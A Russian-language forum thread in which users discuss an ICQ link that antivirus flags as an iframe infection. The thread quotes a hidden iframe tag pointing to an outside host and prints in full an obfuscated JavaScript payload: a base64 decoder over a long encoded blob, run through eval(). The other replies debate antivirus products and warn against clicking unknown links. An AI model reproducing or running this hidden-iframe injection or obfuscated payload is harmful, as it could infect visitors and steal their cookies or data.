Виурс
у меня вопрос мне прислали в асю такую тему, при открытие антивирус заорал это вирус???
_http://fayst.com/img/live.gif
если да то что он делает. Ток кто не уверен в способностях своего антивируса не открывайте.
вот код станицы
<img src="2410232.jpg"> <iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>
вот сам вирус
HTML:Iframe-inf
вот имя зараженого файла _http://linenetz.com/stats/ru1.php\ru1, что он делает??
frostik: у меня вопрос мне прислали в асю такую тему, при открытие антивирус заорал это вирус???
_http://fayst.com/img/live.gif
если да то что он делает. Ток кто не уверен в способностях своего антивируса не открывайте.
вот код станицы
<img src="2410232.jpg"> <iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>
вот сам вирус
HTML:Iframe-inf
вот имя зараженого файла _http://linenetz.com/stats/ru1.php\ru1, что он делает??
Я открыл у меня ничего не произошло. Антивирус др веб!
А у тебя случаем не аваст?
аваст
У меня раньше аваст стоял. Он почти на все кричал то что типо это вирус и все такое! А потом я поставил др веб и все норм ни 1го вируса ничего=)
эта страница ифреймом открывает другую. страницу внутри которой такой скрипт
var Vyfrh1RwORNn="";var u3ZLwXlxE="";function RWblPya(ARnneoxo4){var uY2ZG22DPTaD="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var AGTOC,iAF4Ml,PAdjWM,RwYYymyRMB,CpfK1J,CgL4cubbga,IlMSD,sryDf2E,GuBrDENtaRWV4=ld0
FPW=0,RhyTfC0hR1Z="",NzWI7iv=[];ARnneoxo4+="";do{RwYYymyRMB=uY2ZG22DPTaD.indexOf(ARnneoxo4.charAt(GuBrDENtaRWV4++));CpfK1J=uY2ZG22DPTaD.indexOf(ARnneoxo4.charAt(GuBrDENtaRWV4++));CgL4cubbga=uY2ZG22DPTaD.indexOf(ARnneoxo4.charAt(GuBrDENtaRWV4++));IlMSD=uY2ZG22DPTaD.indexOf(ARnneoxo4.charAt(GuBrDENtaRWV4++));sryDf2E=RwYYymyRMB<<18|CpfK1J<<12|CgL4cubbga<<6|IlMSD;AGTOC=sryDf2E>>16&0xff;iAF4Ml=sryDf2E>>8&0xff;PAdjWM=sryDf2E&0xff;if(CgL4cubbga==64){NzWI7iv[ld0FPW++]=String.fromCharCode(AGTOC);}else if(IlMSD==64){NzWI7iv[ld0FPW++]=String.fromCharCode(AGTOC,iAF4Ml);}else{NzWI7iv[ld0FPW++]=String.fromCharCode(AGTOC,iAF4Ml,PAdjWM);}}while(GuBrDENtaRWV4<ARnneoxo4.length);RhyTfC0hR1Z=NzWI7iv.join("");RhyTfC0hR1Z=AQYQoS(RhyTfC0hR1Z);return RhyTfC0hR1Z;}function AQYQoS(AGTOC){var iAF4Ml=[],PAdjWM=RwYYymyRMB=ARnneoxo4=CpfK1J=CgL4cubbga=0;AGTOC+="";while(PAdjWM<AGTOC.length){ARnneoxo4=AGTOC.charCodeAt(PAdjWM);if(ARnneoxo4<128){iAF4Ml[RwYYymyRMB++]=String.fromCharCode(ARnneoxo4);PAdjWM++;}else if((ARnneoxo4>191)&&(ARnneoxo4<224)){CpfK1J=AGTOC.charCodeAt(PAdjWM+1);iAF4Ml[RwYYymyRMB++]=String.fromCharCode(((ARnneoxo4&31)<<6)|(CpfK1J&63));PAdjWM+=2;}else{CpfK1J=AGTOC.charCodeAt(PAdjWM+1);CgL4cubbga=AGTOC.charCodeAt(PAdjWM+2);iAF4Ml[RwYYymyRMB++]=String.fromCharCode(((ARnneoxo4&15)<<12)|((CpfK1J&63)<<6)|(CgL4cubbga&63));PAdjWM+=3;}}return iAF4Ml.join("");}Vyfrh1RwORNn=RWblPya("Wm5WdVkzUnBiMjRnVFdzNGFrdGhLSFI2VVZCNU5rWXdLWHNnY21WMGRYSnVJRk4wY21sdVoxc25a
bkp2YlVOb1lYSkRiMlJsSjEwb2RIcFJVSGsyUmpBcE8zMGdablZ1WTNScGIyNGdiWFZ1ZDNsYU1YbEVL
R
05XWTA1TE0yNVJLWHNnZG1GeUlGTlhPR3BwUkdGYVMySmxSak05TUN3Z2QxVndSVmc5WTFaalRrc3pib
E
V1YkdWdVozUm9MQ0IxVjNkVE1VeDFkVGx4UFRFd01qUXNJRlJ5YzNaalExRkZZV3hJTENCTmIxRm5aR1
l
zSUZkRWJGWm1iSEZoWjNrOUp5Y3NJSEJuU2xOaWRtVXpNRVU5VTFjNGFtbEVZVnBMWW1WR015d2dXV04
2
UmpSbmRHbDJQVk5YT0dwcFJHRmFTMkpsUmpNc0lFVm5lV0pUYjBJd2JtTnFWSFpDUFZOWE9HcHBSR0Zh
U
zJKbFJqTXNJRmx4T0RFMmRWSm9kR2hyWVdFOVFYSnlZWGtvTmpNc01URXNNallzTkRZc016a3NOakFzT
V
Rrc016SXNNVElzTVRRc01Dd3dMREFzTUN3d0xEQXNORGtzTlRRc05pd3hOU3d5Tnl3MExEVXdMRFE0TE
R
Nc05URXNNemNzTWpnc09TdzFNeXcxTml3MU5Td3pNeXd4TUN3Mk1pd3lNQ3d5TlN3ME15dzFOeXd6TUN
3
eU1Td3lPU3cyTVN3d0xEQXNNQ3d3TERNeExEQXNNelVzTVRjc01UTXNNU3d3TERVNUxESXNOeXd4T0N3
M
E1DdzBOeXcxT0N3ME5Td3pOaXcxTWl3MUxEUXlMREl5TERnc01UWXNOREVzTXpRc01qUXNNak1zTkRRc
0
16Z3BPeUJtYjNJb1RXOVJaMlJtUFUxaGRHZ3VZMlZwYkNoM1ZYQkZXQzkxVjNkVE1VeDFkVGx4S1R0Tm
I
xRm5aR1krVTFjNGFtbEVZVnBMWW1WR016dE5iMUZuWkdZdExTbDdJR1p2Y2loVWNuTjJZME5SUldGc1N
E
MU5ZWFJvTG0xcGJpaDNWWEJGV0N4MVYzZFRNVXgxZFRseEtUdFVjbk4yWTBOUlJXRnNTRDVUVnpocWFV
U
mhXa3RpWlVZek8xUnljM1pqUTFGRllXeElMUzBzZDFWd1JWZ3RMU2w3SUVWbmVXSlRiMEl3Ym1OcVZIW
k
NmRDBvV1hFNE1UWjFVbWgwYUd0aFlWdGpWbU5PU3pOdVVTNWphR0Z5UTI5a1pVRjBLSEJuU2xOaWRtVX
p
NRVVyS3lrdE5EaGRLVHc4V1dONlJqUm5kR2wyT3lCcFppaFpZM3BHTkdkMGFYWXBleUJYUkd4V1pteHh
Z
V2Q1S3oxTmF6aHFTMkVvTVRBMlhrVm5lV0pUYjBJd2JtTnFWSFpDSmpJMU5TazdJRVZuZVdKVGIwSXdi
b
U5xVkhaQ1BqNDlPRHNnV1dONlJqUm5kR2wyTFQweU95QjlJR1ZzYzJVZ2V5QlpZM3BHTkdkMGFYWTlOa
n
NnZlNCOUlIMGdaWFpoYkNoWFJHeFdabXh4WVdkNUtUc2dmU0J0ZFc1M2VWb3hlVVFvSjFGQVIyaEZiam
R
vU0ZObFpGRjFVRWc0YzI5MFVYQlFhVGhUWlVKUlRFVm9NVGRRYVVoTFNuSmlZemRZUlhsbGFFaHZSMmR
Y
VTJWQ1JYVlFaRjl2UjJWRmJtUmlRalZsWkdOT1VHVmlZM1IwWkdOdWFXSnFSV2d4TjFCcFJYbEhaRU5x
Y
jFoUllrZG5TemgwU0RGT1ltUjNkRzVDUWpWaVNFaDBkRUpBT0VkalJXSkhaMmcxZEZOUlkyVklVVXhGW
k
RGTFIwaEZZMlZrT1RVM1JVcEhOM1JqYlhaSWNEZEhTRkZ0YVdkM1UyVm5NVTVpTmtoMWIybDRkVzlpUk
d
OdWFXSnFSV2d4TjFCcGFEaGlZems0WldoUldVcHBPVk4wWjE5TFIwaEZUbVJpVERkQVNERk9RRWhyZDB
k
SWFEVmxaRmR6VXpZNU9HVm9ZMk5UVTFGWlIwVk5Ua2RsUzNSdlpVVjBSMGgzYzNaRE5IZDJhWGgxVXpa
e
VdrZGtjelUzU0ZGTlFHVTVUbEJsZUcxS2NqSjFibVZET0hSSVowNUFXRVIxU25KUlNtUkNURXRLWTJOT
U
4yaFhhbVJUY0ZoVGFGbHZVR1ZYVGxCQ1NIUmxTSEIwUlVKZlUxTkNNbmQwWWpKT1pVaEZkVkJsTW5jMk
5
sRldRRVV5TlVkWVFXOXZaekpxVUdSSWJrZG5WemgwWkVWVGJrSTVSemRqWTJKS1dIQmFSMlJ6TlRkSVU
w
MVRVMUZXZEdSTU5VQmtRM1EzYUVWUWRHUTVPR1JpTVdwUVFrTjBOMGgxYzBkbFFrNDNkR2c0WW1NNU9H
V
m9TSEJLYVhjMU4yaGZOMlJrVVhWWVUxRlpVR2w0YW05d1VVQkhhRVZ1TjJoSVUyVmtVVlpBU0VKMFIwa
F
hjMjkwVVhCUWFYTjNSMmRGUlhSalNFZGxRakZMUjBoUldVcHBPVk4wWjE5TFIwaEZUbVJpVERkQVNERk
9
RRWhyZDBkSWFEVmxaRmR6VXpaSVIyVkNNVXRIU0dOalUxTlJVRGRrTVhSMFpVMDRaVWgzZVVka1EzUlR
R
bmR1TjJsNGRWTTJNVGQwWkY5T1pGTnpkMGRuUlVWME5tSjFSV2RDZVdWa1pGTkpaVGczUUdkb05XVmlW
R
FUzYUZWT1VHaDNPR1ZuWDA1QVNHZE5iMlU1YjI1aVVVMUZaMEo1WldSa1UwbGxPRGRBWjJnMWRHTlpPR
1
ZrT1ZOMGFHTmpVMU5SVURka01YUjBaVTA0WlVoM2VVZGtRM1JUUWtOT1FGRlhUbVJDU0RkSGFGYzFOM1
J
qU2xCb05uZEhTR05VYm1salZrZGxWR3BRWkRFNFpGTkZVMlZrUTI5dmRHSjFia2h3Ymtkb2FEVmxaRmQ
w
YjJjeWFrQklSVTUwVVdjNE4yUTVjMFZuUW5sbFpHUlRTV1U0TjBCbmFEVkhkR0oxUldkQ2VXVmtaRk5K
W
lRnM1FHZG9OWFJqV1RobFpEbFRkR2hGV21Wb01YYzNkRkZRUldneE4xQnBWRTVpVTNOd2JtbHpTblJrU
l
VkSFpXTlRTV1U0TjBCbmFEVTNhWGgxYmtod2JrZG9hRFZsWkZkMFUyZDNOVWRuVnpWSE1VSTFSMlJEZE
R
kb1owMXZaVGczUUdkb05YUTJTSEJ3YVdSMVJXbE1VMlZrT0RoMFNFMDRaVWgzZVVka1EzUlRRa05PUUZ
G
WFRtUkNTRGRIYUZjMU4zUmpZemRJWTFSdWFXTktkR1JGUjBkbFkxTkpaVGczUUdkb05YUmpXVGhsWkRs
V
GRHaGpZMU5UYzNCdWFYTktkR1JGUjBkbFkxTkpaVGczUUdkb05XVmlWRGRpWjFGWlNtbGpXRGRDUXpkQ
V
ozUktkR1JGUjBkbFkyOVRVM053Ym1selZuUmtURFZBWkVOME4yaEZiVGRDTWpWbFpEbHVkbVZJZHpkSV
o
wcDBaRVZIUjJWalUwbGxPRGRBWjJnMVIzUmlVRk4wVVZCdlp6SnFZbU5JUjJWQ01VdEhTRkZaU21rNVU
z
Um5YMHRIU0VWT1pHSk1OMEJJTVU1QVNHdDNSMGhvTldWa1YzTlROa2hMZEVoalkxTlRjM0J1YVhOdE4w
S
XlVMGxsT0RkQVoyZzFaV0pVTjJKblVWbEthV05NTjJoWGFtUlRjRmhUYUZsdlVHVlhUbEJDU0hSbFNIQ
j
BSVUpmVTFOQ01uZDBZa0pUUjJjNWRHNUNaMnBpTm1KUVUzUlJVRzVJY0c1SGFHZzFaV1JYZEc5bk1tcE
F
TRVZPZEZGbk9EZGtPWE52WnpKcVltTklSMlZDTVV0SFNFaHdjR2xrZFVWcFl6VTNhRXg1ZEdkbk5UZDB
T
SEJ3YVdSMVJXazROV1JrVEU1QVpYQjBOMmxqTlRkb1RIbDBaMmMxTjNSSWNHUnBaSFZGYVV4NWRHZG5O
W
FJqU0VkbFFqRkxSMGhSV1VwcE9WTjBaMTlMUjBoRlRtUmlURGRBU0RGT1FFaHJkMGRJYURWbFpGZHpVe
l
pJUjJWQ01VdEhTR05qVTFOemNHNXBjMHBIWjB4elIwaE5PR1ZJZDNsSFpFTjBVMEozYmpkcGVIVlRObk
J
xUUVoM2VXVlRUSGwwWjJjMWREWmlVRk4wVVZCVFp6RnVOMlZEVTBsbE9EZEFaMmcxWldKd2REZGtjSGs
z
U0ZGWlNtazROV1JrVEU1QVpYQjBOMmxuWTFORmMzQnVhWE5LUjJkTWMwZElVVmxLYVV4NWRHZG5OWFJq
U
0VkbFFqRkxSMGhGU25Sa1JVNUFTRVZPVURGd2JrZG9hRFZsWkZkMFUyZG5PRGRrT1hScFpEazFkRUpBY
W
sxalJXTmxaRVUxWlVKMlRrbE1lblJ1YUhBMVlVSXlOV1ZDZFhsMFFrTnpiM1JpVUZOMFVWQkZhREUzVU
d
sM05UZHBlSFZGWkVOdlVHbE9OWFJJYTNOUVFtZE5iblJLYWtnNVFYZGhZMEYzTm1oaU5VMXdSVnAyT0d
z
NGJsaHdWbUV4VTFSaFkwRjNZV05VWlc1WVVrNW5XRUYzWVdOQmQyRklaRlJZWWxKT1oxaEJkMkZqUVhj
M
lFtVlVTa016ZEVwWVZXcHVjMDQxWnpGNFZFaHBZM0JUTm5aT1lVTnNaVmhpY0UwMlExcHpka05TYWtse
m
JrZHBURVZRU1VOd1NtRTVlbE51VEVwNWRqRkZkV0Z6YkhkaFkwRjNZV05ZVFc1aVkwMXZkR0pRVTNSUl
V
FVklTSGRIU0VWNVIyUkRhbTlZVVVwSFoweHpSMGhGV1VkblYyNDNaV2RRUUVoSWNIQnBaSFZGYVVoSE4
z
UXhRRWRsUWpWbFpERkxSMGhJVUVCSVZ6VmtRa1Z6Ym5KSWNIQnBaSFZGYVV4VFpXUTRPSFJJVFRobFNI
Z
DVSMlJEVXpab1NIUTNTSEJ2WkdKRFIwQm5Rbk5GYVdSMVJXbEJOMU5rTWpWbFFqRjBVMEpEVGxBNWR6V
m
xTRU0zUUVoRmJrZElaMDFGVEVOT1ltaHdOMkpsWTFSVE5sSjBhWEozVFVweVVXMTJRakp2Ym1Kd2FrQk
l
kM2xsWW1NMU4yaHNOMEJJT0RWbFFrTjBkR2REYzFNMk1HNUFTSGRxYmpsM05XVklWRzl1WW1OS1JtZE1
j
MGRJVVZaR1pYYzFkR2RYVTJWQ05rNVlOa2h3YmtJeE4wQklSVTVrWWpnNE4yUkRkRWRuYURWME9FUlpT
W
FJpVkVocFpGQlRkRkZRYm1OemJUZENNbE5oWkVoMGRHVlJXVXBwT1ZOMFoxOUxSMGhGVG1SaVREZEFTR
E
ZPUUVocmQwZElhRFZsWkZkelV6WXhiMjkwWWxSSWFXUlFVM1JSVUc1amMyMDNRakpUWVdSSWRIUmxSVX
B
BU0ZkNWRtaFhOMEJsY3pWUWFFTnpVelpuTjBCSU9HOXVZbEZOYm1oRmJuQnlXWFZ3VTNCWVJXUndUbEJ
s
U0hSMFNHTmpVMU5CTjFOMGMzQnVhWE5VU0dreGFsQkNUWGRIWlVWRlpXSk1kMGRsVEVVM2RFaHdTbU56
Y
0VWcFpIVkZhVUUzVTBKRFRsQkRTRXRIU0hBMVVHaG5RRWRvUlc0M2FFaFRaV1JuWTFORmNHcEFTSGQ1W
l
dKVU5UZG9iRGRBU0RnMVpVSkRkSFJuUTNOVE5tNDFOMmhaVTJWQ1pHOXVZbU5XU0V4VVVGaDRNblZ2VV
R
KcVlqWkNUVzVvUTNkbFpFTk9aR0pEYzBCSVkyTlRVM2gzYjNJeWRVcHlTSEJLWTNOUVUzUlJVRzkwWWx
C
VGRGRlFVMmRDTlVkbmQwNUpaV2cxZEdSZlRsQjBWRTVBZEdKUVUzUlJVRk5sUlZOMFoyUlRTV1U0TjBC
b
mFEVTNhWGgxYmtod2JrZG9hRFZsWkZkMFUyZDNOVWRuVnpWSE1VSTFSMlJEZERkb1owMXZaVGczUUdkb
0
5YUTJTSEJ3YVdSMVJXbGtkSFJrVEVWMFkwaEhaVUl4UzBkSVJVcGtRa3hxYjFoUlRXNWxWMDVRUW5SWV
U
ySlpiMkpvWjA1UWFESTRaV1E0VTJWaWR6VmlZbFJxVUdSd1ZIUmtNVTVsWWpKek4wSmpjSEJwWkhWRmF
U
bFRkR2RmUzBkSVJVNWtZakZxVUVKRGREZElkWE5IWlVKT04zUmtkSFJrVEVWMFkwaEhaVUl4UzBkSVNI
Q
ndhV1IxUldsM05UZG9YemRrWkdkMVRYUmlVRk4wVVZCdmNHSlFVM1JSVUc1SWNHNUhhR2cxWldSWGRHO
W
5NbXBBU0VWT2RGRm5PRGRrT1hOVFp6RnVOMlZEVTBsbE9EZEFaMmcxUjNSaVVGTjBVVkJUUWxkcWIxaF
J
Ta0JJVjA1SlpXZzFkR1JmVGxCME9EVmtaRXhPUUdWd2REZDBTSEJpU0VOT1ltY3hiamRsUTNOdmRHSlp
V
R0ozZFVweU1tTlRVM053Ym1selVFQklWelZrUWtWemJuSkljSEJwWkhWRmFYZzNibWxJY0VwcGVHcHVR
a
mxITjNSSWNFcHBWelUzWkVVMU4yaG5ZMU5UVVVwQVNGZE9TV1ZvTlhSa1gwNVFkR05BVUVJeE4wQmxTM
2
szYUVOM04zUklUVzVpUzNWS2NqSjFUWFJpZFVWSVgzUjBaMWM0ZEdSRmFrVm9NbmxsUWtoSFFHZFhOVG
R
rWjJOVFJWRldkR1JNTlVCa1EzUTNhRVZOWkVKSVRrQklaMDF1V0VoSFpVSXhTMGRJVVVwa1FreExTbU5
q
UUZCQ01UZEFaVXQ1TjJoRGQyVmlNbk0zUWtGdmJtbFVUa0JGUWpWSFdFRnZia2hJYmxCQ1FubEhSWFJp
Z
EdSRk5YUlRRVzlGV0hKWWIyVTROMEJuYURWbFdHTmpVMU5SV1ZCcEp5azc=");u3ZLwXlxE=RWblPya(Vyfrh1RwORNn);eval(u3ZLwXlxE);</script></body></html>
нод 32 молчит..... выкидывай авас ставь паука или ноод 32=) они получше будут чем авас)
я пользуюсь каспером 8м и всё норм)
Аваст и ДР веб и Касперский - очень, мягко сказать, плохие.
Очень доволен Нортоном (он, кстати, вирус определил)
— Devil's Little Brother
суть в том что там вирус есть, или что типо того посмотрите код страницы.
нет там вируса) авас арёт даже на демон туулс....
посотрите код страницы, мне уже не 1 раз отправляют в асю эту ссылку, люди которых я незнаю
и что сек если найду у сибя код вируса выложу кодик и посмотрите даю 99.9% что это бред.
я скрипт выложил выше)
дал другу код (вируса)
цитирею его- это не вирусный код... или я невидил ещё такова.
Зенд? Але, опомнитесь )))
Зенд - это технологии PHP, тут JavaScript.
Кроме всего ЗаЗенденные файлы имеют формат "Байткода", а не нечто напоминающее транспортное кодирование.
В данном случае на этой странице вредоносный JS код который подвергся обфускации для исключения возможности его чтения.
Системе вред он нанести врядли может, если конечно не использовать IE.
А так...хрен его знает как функции он выполняет.
Чаще всего такие скрипты открывают нежелательные окна, кликают по рекламам, накручивают свои счетчики и тащум ваши данные (куки итд).
———
Есть и другой вариант.
Возможно кто-то подверг обфускации свой скрипт чтобы не копировали, не видели итд.
Тоесть там может быть вполне работоспособный код для страницы, а антивирус обфусцированный код воспринимает как вредоносный.
Аналогично бывает с программами, когда простую программу защищают от изменений, а антивирус жалуется на "запакованный" код.
А вот на будущее вам:
Нефиг тыкать по неизвестным ссылкам, особенно от незнакомых людей (0% пользы).
— Ålderdom - ingen glädje..
! Буду знать!